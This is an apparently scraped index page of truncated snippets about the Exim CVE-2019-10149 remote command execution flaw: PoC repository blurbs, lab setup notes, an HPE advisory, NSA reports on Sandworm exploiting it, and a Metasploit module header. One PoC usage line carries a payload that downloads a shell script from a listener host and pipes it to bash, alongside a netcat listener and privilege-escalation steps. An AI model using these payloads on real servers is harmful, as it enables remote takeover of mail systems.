PoC_CVE-2019-10149--rce

概要 脆弱なeximサービスからシェルへのリモートコマンド実行。 脆弱なバージョンは4.87から4.91（両端を含む）です。https://nvd.nist.gov/vuln/detail/cve-2019-10149 を確認してください。 以下のスクリプトはQualysのPoCに基づいています。https://packetstormsecurity.com/files/153218/Exim-4.9.1-Remote-Command-Execution.html を確認してください。 例 2つのターミナルを推奨 root@kitploit: T1 $ nc -nlvp 1337 T2 ...

eximrce-CVE-2019-10149

eximrce exim が CVE-2019-10149 に対して脆弱かどうかをテストするシンプルな python ソケット接続です。 ペイロードは /root/lweximtest にファイルを touch するだけです。出力はサーバーの応答次第で遅くなり、 python のソケットモジュールを正しく使う方法を知らないためです。高速化する方法を教えていただけると嬉しいです。cPanel 環境でのみテスト済みです。 疑わしいサーバー上でローカルに実行します。侵害の兆候をチェックします。 root@kitploit: curl -s...

CVE-2019-10149-quick

CVE-2019-10149-quick Bashシェル簡易修正 CVE-2019-10149...

CVE-2019-10149

CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor/EDITME Local/eximon.conf eximユーザーとグループを作成 sudo groupadd -g 31 exim sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim 依存関係をインストール sudo apt-get update sudo apt-get install -y make build-essential libpcre3-dev libdb-d...

EXIM-4.87-CVE-2019-10149

EXIM-4.87-CVE-2019-10149 教育目的のラボをセットアップする...

CVE-2019-10149-Exploit

このリポジトリには README がありません。...

exim-cve-2019-10149-data

Exim CVEデータ収集 Eximの脆弱性CVE-2019-10149、CVE-2019-15846、CVE-2019-16928に関連するデータ収集 CVE告知: https://vulners.com/cve/CVE-2019-10149 エクスプロイト詳細: https://www.exploit-db.com/exploits/46974 問題のタイムライン: https://seclists.org/fulldisclosure/2019/Jun/16 NSA勧告:...

CVE-2019-10149-privilege-escalation

CVE-2019-10149 権限昇格 "poc"...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 脆弱性 CVE-2019-10149 の悪用のための PoC 使用例 python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2019-10149

このリポジトリには README がありません。...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 のテストPOC...

CVE-2019-10149-Exim4-RCE

Cr.Exim 4.87 - 4.91 - ローカル権限昇格 Cr.Link: https://www.exploit-db.com/exploits/46996 1.この方法では、まず標準ユーザー権限でターゲットマシンにアクセスする必要があります。 2.ターゲットマシンにアクセスしたら、以下の内容でスクリプトファイルを作成します。 vi raptor.sh 3.提供された 'raptor.sh' ファイルからコードをコピーします。次に、以下のコマンドでファイルを実行します。 chmod +x raptor.sh ./raptor.sh 4.以下の例のような出力が得られるはずです。...

HPESBST04034 rev.1 - HPE 3PAR Service Processor, Using Exim Mail Transfer Agent (MTA), Remote Command Execution.

Potential Security Impact: Remote: Arbitrary Command Execution SUPPORTED SOFTWARE VERSIONS: ONLY impacted versions are listed. HPE 3PAR Service Processor 5.0.6 and below CVSS Scores: | CVE | CVSS Vector | Base Score | | --- | --- | --- | | CVE-2019-10149 |...

Exploit for OS Command Injection in Exim

Exim CVE Data Collection Data Collection Related to Exim Vuln...

NSA Warns of Sandworm Backdoor Attacks on Mail Servers

The Russia-linked APT group Sandworm has been spotted exploiting a vulnerability in the internet’s top email server software, according to the National Security Agency NSA. The bug exists in the Exim Mail Transfer Agent MTA software, an open-source offering used on Linux and Unix-like systems. It...

NSA Releases Advisory on Sandworm Actors Exploiting an Exim Vulnerability

The National Security Agency NSA has released a cybersecurity advisory on Russian advanced persistent threat APT group Sandworm exploiting a vulnerability—CVE-2019-10149—in Exim Mail Transfer Agent MTA software. An unauthenticated remote attacker can use this vulnerability to send a specially...

CVE-2019-10149

Exim unauthenticated RCE with reports that it’s been used by Sandworm since August 2019 Recent assessments: ericalexanderorg at May 28, 2020 4:49pm UTC reported: Untested POC exists https://github.com/MNEMO-CERT/PoC—CVE-2019-10149Exim/blob/master/PoCCVE-2019-10149.py gwillcox-r7 at November 04,...

Exploit for OS Command Injection in Exim

CVE-2019-10149 CVE-2019-10149 : A flaw was found in Exim versi...

Exploit for OS Command Injection in Exim

CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor...

Exim 4.87 / 4.91 - Local Privilege Escalation (Metasploit)

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'expect' class MetasploitModule 'Exim 4.87 - 4.91 Local Privilege Escalation', 'Description' = %q This module exploits a flaw in Exim versions 4.87 to 4.91...